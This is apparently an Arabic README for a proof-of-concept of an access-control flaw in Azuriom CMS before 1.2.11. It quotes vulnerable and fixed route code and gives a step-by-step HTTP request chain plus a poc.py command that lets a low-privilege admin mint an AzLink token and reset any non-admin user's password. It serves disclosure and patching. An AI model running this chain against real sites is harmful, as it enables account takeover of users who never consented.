
PoC لـ CVE-2026-54415 — Azuriom CMS (<1.2.11) ثغرة التحكم في الوصول المعطل → السيطرة على الحساب
غياب التفويض في مسارات إدارة الخوادم الإدارية في Azuriom CMS < 1.2.11 يسمح لأي مشرف ذو صلاحية منخفضة (يمتلك فقط admin.access) بإنشاء رمز خادم AzLink والاستيلاء على أي حساب غير إداري.
| CVE | CVE-2026-54415 |
| المنتج | Azuriom CMS |
| المتأثر | < 1.2.11 |
| تم الإصلاح في | 1.2.11 — commit 4b744bc |
| CWE | CWE-862 (غياب التفويض), CWE-269 (إدارة امتيازات غير صحيحة) |
| CVSS 3.1 | 8.1 عالية — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| CVSS 4.0 | 8.6 عالية — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
تم نشر هذا الإثبات المفاهيمي لأغراض دفاعية وتعليمية ضد إصدار مصلح. قم بتشغيله فقط على أنظمة تمتلكها أو مصرح لك باختبارها بشكل صريح. قم بالترقية إلى Azuriom
1.2.11+.
✅ تم التحقق منه بشكل شامل على مثيل محلي من Azuriom 1.2.10 — تجاوز التحكم في الوصول، إنشاء الرمز المميز، تأكيد تغيير كلمة المرور + تسجيل دخول الضحية، وحدود حماية المسؤول.
في routes/admin.php يتم حماية لوحة التحكم الإدارية بأكملها بواسطة مجموعة can:admin.access واحدة، ومن المتوقع أن تضيف كل ميزة حساسة وسيط can:admin.* الخاص بها الدقيق. قبل الإصدار 1.2.11، تم شحن مسارات إدارة الخوادم بدون أي وسيط من هذا القبيل:
// routes/admin.php (vulnerable, < 1.2.11)
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
وبالتالي، يمكن لأي مستخدم يمكنه الوصول إلى لوحة التحكم الإدارية (admin.access) إنشاء خوادم. لم يكن هناك صلاحية admin.servers على الإطلاق — لم تكن موجودة حتى الإصلاح.
قام المطور بإنشاء صلاحية جديدة admin.servers ولف المسارات بها:
// routes/admin.php (fixed, 1.2.11)
Route::middleware('can:admin.servers')->group(function () {
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
});
كما أضاف نفس الالتزام فحوصات الصلاحية المفقودة سابقًا إلى مسارات social-links و pages/posts.attachments.
إنشاء خادم يولد رمز خادم مكون من 32 حرفًا (app/Http/Controllers/Admin/ServerController.php):
$server = new Server([...$request->validated(), 'token' => Str::random(32), ...]);
يقوم هذا الرمز بتوثيق واجهة AzLink API (routes/api.php)، حيث يثق وسيط VerifyServerToken في أي طلب يحمل رأس Azuriom-Link-Token صالحًا. تكشف AzLink عن نقاط نهاية لإدارة الحساب:
POST /api/azlink/password → تغيير كلمة مرور المستخدم بواسطة معرف اللعبة (game_id)
POST /api/azlink/email → تغيير البريد الإلكتروني للمستخدم بواسطة معرف اللعبة
POST /api/azlink/register → إنشاء مستخدمين
POST /api/azlink/user/{id}/money/{add,remove,set}
updatePassword يرفض فقط عندما يكون الهدف isAdmin() — كل حساب غير إداري يمكن الاستيلاء عليه:
public function updatePassword(Request $request) {
// validates game_id + password
$user = User::where('game_id', $request->input('game_id'))->firstOrFail();
if ($user->isAdmin()) { return response()->noContent(); } // only admins are protected
$user->update(['password' => $request->input('password')]);
...
}
استدعاء إنشاء الخادم يستدعي $server->bridge()->verifyLink() قبل الحفظ. بالنسبة لنوع mc-azlink يكون هذا صحيحًا دون قيد أو شرط:
// app/Games/Minecraft/Servers/AzLink.php
public function verifyLink(): bool { return true; }
لذا يقدم المهاجم أي عنوان address وهمي، ويتم حفظ الخادم على أي حال، ويتم عرض الرمز الجديد في اللوحة داخل أمر إعداد AzLink (/azlink setup <url> <token>).
1. قم بالمصادقة كمشرف ذو صلاحية منخفضة (فقط admin.access — بدون admin.servers، الذي لم يكن موجودًا)
2. POST /admin/servers name=x&type=mc-azlink&address=127.0.0.1 → تم حفظ الخادم، تم إنشاء الرمز المميز
3. GET /admin/servers/{id}/edit → قراءة الرمز المميز من أمر الإعداد
4. POST /api/azlink/password (رأس Azuriom-Link-Token: <token>) game_id=<ضحية>&password=<جديد>
5. تسجيل الدخول كالضحية → استيلاء كامل على الحساب
python3 poc.py \
--url https://target.example \
--admin-user lowpriv_admin --admin-pass 'password' \
--victim-game-id 1001 \
--new-password 'Pwn3d!TakenOver'
يقوم البرنامج النصي بتسجيل الدخول، وإنشاء رمز خادم، واستخراجه، وإعادة تعيين كلمة مرور الضحية عبر AzLink، وطباعة الرمز المميز + النتيجة. راجع poc.py --help لجميع الخيارات. يتطلب requests (pip install requests).
1.2.11 أو أحدث.admin_servers وإلغاء أي رموز خادم غير متوقعة.admin.access.1.2.11MIT — لاختبار الأمان المصرح به والبحث فقط.